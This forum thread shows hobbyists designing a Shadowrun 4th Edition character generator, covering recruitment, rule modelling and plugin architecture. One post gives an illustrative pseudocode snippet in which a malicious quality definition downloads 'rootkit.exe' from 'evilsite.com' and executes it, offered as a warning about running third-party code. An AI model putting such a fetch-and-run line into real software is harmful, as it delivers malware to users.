IPB

Welcome Guest ( Log In | Register )

4 Pages V  < 1 2 3 4 >  
Reply to this topicStart new topic
> Web Site Help / SR4 Character Generator?, shadowrun.dashifen.com
Kagetenshi
post Aug 22 2005, 03:19 PM
Post #26


Manus Celer Dei
**********

Group: Dumpshocked
Posts: 17,012
Joined: 30-December 02
From: Boston
Member No.: 3,802



QUOTE (CrystalBlue)
I was looking into making a SR4 program as well...untill I found out that I'm out of my league here. :( You guys have already started thinking about it, and I still have yet to get my books. You guys also must be very good programmers.

Bah. What kind of attitude is that?
QUOTE
I'm just a little tech college student.  I wish I knew as much as you guys do...I only know about three languages, and not all of them proficiant enough to do what you're doing.

It's not about how many languages you know (eventually it doesn't matter whether or not you know a language as long as you've got a few weeks and a good reference), but about how you think. Proper programming is as much a way of approaching a problem as anything else.

Put it this way: what do you know right now? Five gets you three we can find you something to do to help out here.

~J
Go to the top of the page
 
+Quote Post
CrystalBlue
post Aug 22 2005, 04:29 PM
Post #27


Moving Target
**

Group: Members
Posts: 284
Joined: 16-June 05
Member No.: 7,450



Well, I'd love to help. I'd give me a chance to learn more about program development. If you need help, let me know. I don't know Python yet, but I have VB and Java.
Go to the top of the page
 
+Quote Post
Dashifen
post Aug 22 2005, 04:33 PM
Post #28


Technomancer
********

Group: Retired Admins
Posts: 4,638
Joined: 2-October 02
From: Champaign, IL
Member No.: 3,374



QUOTE (Nikoli @ Aug 22 2005, 09:41 AM)
I'm more of a GM tool type guy, I'll leave char-gen to those that want it.  I'm looking to reduce tedium in gameplay.

A noble course as well.

</shamless_plug>

Honestly, CrystalBlue, if you would like to help out, or even just see what we do behind the scenes (I've a seperate forum set up on my site just for design and development of this program) let us know. I don't think anyone would mind helping out the next generation of programmers ;)

Edit: nevermind, didn't notice that Kage already got back to you with similiar sentiments. Nikoli and CrystalBlue -- sent you guys PMs with more information.
Go to the top of the page
 
+Quote Post
Slacker
post Aug 22 2005, 04:46 PM
Post #29


Runner
******

Group: Members
Posts: 3,420
Joined: 30-October 03
Member No.: 5,776



QUOTE (Dashifen)
A noble course as well.

Just thought I'd mention that on the page you link to, the frame for Neighborhoods Generator is slightly wider than the others.
Go to the top of the page
 
+Quote Post
Dashifen
post Aug 22 2005, 04:52 PM
Post #30


Technomancer
********

Group: Retired Admins
Posts: 4,638
Joined: 2-October 02
From: Champaign, IL
Member No.: 3,374



it isn't for me ... probably due to the scroll bar. the first step of the neighborhood generator is smaller than the rest and you may not need a scroll bar. since the page layout is in percentages, the scroll bar takes out a little piece of the window and, thus, the other ones may seem thinner when they're not. Conversely, IE hates my web site so far, so it could be that sort of problem. I haven't worried about IE compatibility as I'm hoping that IE7 will solve the CSS layout concerns that most developers have with IE and, thus, I won't have to be concerned in the long run :grinbig:
Go to the top of the page
 
+Quote Post
Slacker
post Aug 22 2005, 04:56 PM
Post #31


Runner
******

Group: Members
Posts: 3,420
Joined: 30-October 03
Member No.: 5,776



Nope, I still have the scrollbar on Neighborhoods. Not sure what could be causing it. Oh well, it's a very minor detail. I only noticed it because it's wider than the frame for the top section.
Go to the top of the page
 
+Quote Post
Kagetenshi
post Aug 22 2005, 05:06 PM
Post #32


Manus Celer Dei
**********

Group: Dumpshocked
Posts: 17,012
Joined: 30-December 02
From: Boston
Member No.: 3,802



QUOTE (CrystalBlue)
Well, I'd love to help. I'd give me a chance to learn more about program development. If you need help, let me know. I don't know Python yet, but I have VB and Java.

How familiar are you with object-oriented programming? Have you grokked the purpose of objects and the true meaning of inheritance?

Also, how are you at the most important part of programming: documenting your program?

If you're good to go on both of those, here's a little assignment (don't worry about getting things perfect, we'll be able to tweak anything that doesn't look right):

Figure out how many classes should be used to represent a Shadowrun, 4th Edition character without having unused attributes, and what those classes should be.

~J
Go to the top of the page
 
+Quote Post
Dashifen
post Aug 22 2005, 06:51 PM
Post #33


Technomancer
********

Group: Retired Admins
Posts: 4,638
Joined: 2-October 02
From: Champaign, IL
Member No.: 3,374



QUOTE (Slacker)
Nope, I still have the scrollbar on Neighborhoods. Not sure what could be causing it. Oh well, it's a very minor detail. I only noticed it because it's wider than the frame for the top section.

It's actually the right hand button doing it. IE makes the buttons bigger than other browsers for some reason (i've never noticed it before) and, thus, it pushes the table wider than the rest of the screen.
Go to the top of the page
 
+Quote Post
pragma
post Aug 22 2005, 07:02 PM
Post #34


Running Target
***

Group: Members
Posts: 1,278
Joined: 15-April 05
Member No.: 7,336



I'm going to be very busy in the coming months but I am very comfortable with perl and CSS and familiar enough with programming to at least think I'm useful. If you'd like help, I'd love to be of service.
Go to the top of the page
 
+Quote Post
Dashifen
post Aug 22 2005, 07:09 PM
Post #35


Technomancer
********

Group: Retired Admins
Posts: 4,638
Joined: 2-October 02
From: Champaign, IL
Member No.: 3,374



We might be in touch when we work on the web components but for now it looks like python will be taking the lead as our core development language. Thanks, pragma
Go to the top of the page
 
+Quote Post
Kagetenshi
post Aug 22 2005, 08:59 PM
Post #36


Manus Celer Dei
**********

Group: Dumpshocked
Posts: 17,012
Joined: 30-December 02
From: Boston
Member No.: 3,802



(Full disclosure: Pragma's a player in my Saturday games, so I know him from elsewhere)

While I don't think the project is large enough to support too many more people without communications overhead becoming unwieldy, I'd personally appreciate your assistance—at the very least, you ought to be able to come up with some better character sheet CSS than I could. I'll pass a preliminary sheet over to you when I'm done mocking it up—we'll be able to do basic transformations (reordering, stripping commas or parentheses or whatever) via XSLT, so feel free to edit those while working on display.

Remind me, how familiar are you with Python and program design?

~J
Go to the top of the page
 
+Quote Post
pragma
post Aug 22 2005, 10:36 PM
Post #37


Running Target
***

Group: Members
Posts: 1,278
Joined: 15-April 05
Member No.: 7,336



Haven't worked with Python before but I've no doubt I can learn if need be. Very familiar with program design -- as far as I can tell at least.
Go to the top of the page
 
+Quote Post
Kagetenshi
post Aug 23 2005, 06:04 AM
Post #38


Manus Celer Dei
**********

Group: Dumpshocked
Posts: 17,012
Joined: 30-December 02
From: Boston
Member No.: 3,802



Sounds good.

My brain is fried, does anyone on this project have the book yet?

~Zombie
Go to the top of the page
 
+Quote Post
Dashifen
post Aug 23 2005, 01:22 PM
Post #39


Technomancer
********

Group: Retired Admins
Posts: 4,638
Joined: 2-October 02
From: Champaign, IL
Member No.: 3,374



Me.

I'm through character gen at this point. The logic isn't that hard, it's the exceptions due to the qualities that will make things interesting. Gonna need a table of flags or something that we can set and reset to see which qualities a person has for use in the rest of the system. The big four are, of course, adept, magician, mystic adept, and technomancer since they unlock whole other sections of the generation system to the player, but some of the other ones allow attribtues or skills to go to seven but only once and what not.
Go to the top of the page
 
+Quote Post
Nikoli
post Aug 23 2005, 01:56 PM
Post #40


Chicago Survivor
*********

Group: Dumpshocked
Posts: 5,079
Joined: 28-January 04
From: Canton, GA
Member No.: 6,033



Not to mention those four are mutually exclusive.
Go to the top of the page
 
+Quote Post
Dashifen
post Aug 23 2005, 02:53 PM
Post #41


Technomancer
********

Group: Retired Admins
Posts: 4,638
Joined: 2-October 02
From: Champaign, IL
Member No.: 3,374



That's why it's nice to use an array and assert that the sum of the values of the array cannot be anythign but 1 or 0. Then, you only get one of those four qualities or throw an exception otherwise. Whoops ... went and geeked out there for a minute ;)
Go to the top of the page
 
+Quote Post
Spookymonster
post Aug 23 2005, 03:04 PM
Post #42


Moving Target
**

Group: Members
Posts: 639
Joined: 22-April 02
Member No.: 2,638



A suggestion? I'm not sure what language you're coding in, so I'll keep it relatively high-level:

Create a Rules field in each of your data tables. This field contains conditions required before each entry is added to your character sheet. For example, if the Technomancer quality is mutually exclusive with the Magician quality, you might code the rule for the Technomancer quality something like this:
CODE
Technomancer.Rule = mutex("Magician")


Every time the end-user selects a new entry, you evaluate the entry's rules field. In the example above, the mutex function would be executed with an argument of "Magician". The mutex function would check your character's sheet for the Magician quality and, if it found it, would alert the user and reject the change. Otherwise, it returns a successful return code. Prior to finalizing the character, you could evaluate the rules again, just to make sure you didn't miss anything.

The benefit of this is that you don't have to hard code every exception into your program's logic. Rather, the rules pertaining to the item's use are kept in the item's entry in the data table. As new items and usage rules are introduced to the game, you can append new functions to your existing code or import it from, say, a rules file.

Here's some other rules examples:
mutex("foo") - this item can't appear in the same object as "foo"
prereq("foo") - this item requires the purchase of item "foo"
minreq(5) - this item needs to be purchased in minimum increments of 5
maxreq(100) - no more than 100 of this item can be owned by the same object

I use a similar process in my job to build tables of strings according to date calculations, e.g., foo = currentMonth(+5).

Hope that helps!
Go to the top of the page
 
+Quote Post
Taran
post Aug 23 2005, 04:05 PM
Post #43


Moving Target
**

Group: Members
Posts: 164
Joined: 7-July 03
Member No.: 4,891



QUOTE (Dashifen)
Gonna need a table of flags or something that we can set and reset to see which qualities a person has for use in the rest of the system.  The big four are, of course, adept, magician, mystic adept, and technomancer since they unlock whole other sections of the generation system to the player, but some of the other ones allow attribtues or skills to go to seven but only once and what not.
I disagree strongly with this approach. Under this system there's no way to add custom qualities without hacking the source. Spookymonster's approach is better, maybe correct, but I don't like that it uses, essentially, a custom rule-definition language. The most flexible approach is to give each quality a legal?() function and an effects() function, each taking the character as an argument, but there are security issues there.
Go to the top of the page
 
+Quote Post
Kagetenshi
post Aug 23 2005, 04:09 PM
Post #44


Manus Celer Dei
**********

Group: Dumpshocked
Posts: 17,012
Joined: 30-December 02
From: Boston
Member No.: 3,802



Expand on the security issues? I'm probably just taking too narrow a view of what "security" means, but I'm not seeing it.

~J
Go to the top of the page
 
+Quote Post
Taran
post Aug 23 2005, 08:23 PM
Post #45


Moving Target
**

Group: Members
Posts: 164
Joined: 7-July 03
Member No.: 4,891



In a collection of good, useful quality/cyberware definitions, include a definition like:

Quality: God Doesn't Love You (-70)
CODE
define legal?(character)
  download('http://evilsite.com' 'rootkit.exe')

define effects(character)
  exec('rootkit.exe')


(Forgive the crappy Python, I haven't actually written any in over a year)

This isn't too likely to happen, as I'd think that all the definition files would be either distributed by a trusted source or hand-rolled. Still, it's a strong argument in favor of a custom definition language.

Edited for code tags
Go to the top of the page
 
+Quote Post
Dashifen
post Aug 23 2005, 08:34 PM
Post #46


Technomancer
********

Group: Retired Admins
Posts: 4,638
Joined: 2-October 02
From: Champaign, IL
Member No.: 3,374



The definition files will probably be nothing but plain text and not executed at all, thus someone could try to attack the program by entering code into the block, but all it would do is get printed on the screen.

Now, the mutex function that you mentioned, spookymonster, is great. And I've done a lot of work with that kind of stuff at the class level. Which, incidentally, I've always allows one class to access the methods of another class (a singleton -- that is there's only one every instantiated in the program) which controls information about what's mutially exclusive. So, in a way, the mutex() type functions that I've always worked with simply access a large flag table that's instantiated at program run time.

I like what you're saying, though, and will certainly make a note of it -- for use with the SR4CG or otherwise (crap -- did I just make our acronym?)
Go to the top of the page
 
+Quote Post
Taran
post Aug 23 2005, 08:54 PM
Post #47


Moving Target
**

Group: Members
Posts: 164
Joined: 7-July 03
Member No.: 4,891



If you use a definition language like spookymonster's, sure. I was suggesting that each quality/cyberware piece/etc have two associated Python functions, written into the definition file and executed during runtime. This would permit new qualities to be added without changing the program source, and enable GMs to add their own homebrew qualities without having to recompile...or re-add their changes whenever they receive a program update.
Go to the top of the page
 
+Quote Post
Kagetenshi
post Aug 24 2005, 02:04 AM
Post #48


Manus Celer Dei
**********

Group: Dumpshocked
Posts: 17,012
Joined: 30-December 02
From: Boston
Member No.: 3,802



QUOTE (Dashifen @ Aug 23 2005, 03:34 PM)
SR4CG (crap -- did I just make our acronym?)

No, no you didn't.

~J

"Better living through better acronyms!"

Postscript: *quickly renames his project folder*
Go to the top of the page
 
+Quote Post
Dashifen
post Aug 24 2005, 02:22 AM
Post #49


Technomancer
********

Group: Retired Admins
Posts: 4,638
Joined: 2-October 02
From: Champaign, IL
Member No.: 3,374



QUOTE (Taran)
If you use a definition language like spookymonster's, sure. I was suggesting that each quality/cyberware piece/etc have two associated Python functions, written into the definition file and executed during runtime. This would permit new qualities to be added without changing the program source, and enable GMs to add their own homebrew qualities without having to recompile...or re-add their changes whenever they receive a program update.

I agree with what you're saying, but within the architecture which mcmackie's NSRCG uses -- which I feel we'll keep using due to its familiarity amoung our target audience -- a GM can add new gear and qualities that do not effect the inner workings of the programs, but those qualities that change the way the program must behave (specifically the magician, mystic adept, adept, and technomancer) qualities will proabably have to be handled as a seperate type of quality while others (i.e. double jointed) could be handled in a similar manner to the .dat information of the NSRCG.

Of course, since none of us working on the program have actually begun discussing our architecture or design techniques, how we're going to handle things, classes, etc. I don't think this is an arguement we need to focus on at the moment. I like what you're saying I'm just not sure I want to open us up to the security risks of allowing interpreted code to be created by third-parties. Invariably, someone will break the system and then come to us complaining about bugs when it was their code or their information that caused the problem. At least if we control all of the executable code, if a bug happens, we know it was our fault and, more than likely, we can probably find it faster having actually written the code as opposed to having to trouble shoot other person's add-ons.
Go to the top of the page
 
+Quote Post
Kagetenshi
post Aug 27 2005, 06:23 PM
Post #50


Manus Celer Dei
**********

Group: Dumpshocked
Posts: 17,012
Joined: 30-December 02
From: Boston
Member No.: 3,802



So I've been mocking up some prototype code for attributes and skills, and I came to a question: how does cyberware work with attributes, particularly cyberlimbs?

~J
Go to the top of the page
 
+Quote Post

4 Pages V  < 1 2 3 4 >
Reply to this topicStart new topic

 



RSS Lo-Fi Version Time is now: 3rd August 2025 - 09:01 PM

Topps, Inc has sole ownership of the names, logo, artwork, marks, photographs, sounds, audio, video and/or any proprietary material used in connection with the game Shadowrun. Topps, Inc has granted permission to the Dumpshock Forums to use such names, logos, artwork, marks and/or any proprietary materials for promotional and informational purposes on its website but does not endorse, and is not affiliated with the Dumpshock Forums in any official capacity whatsoever.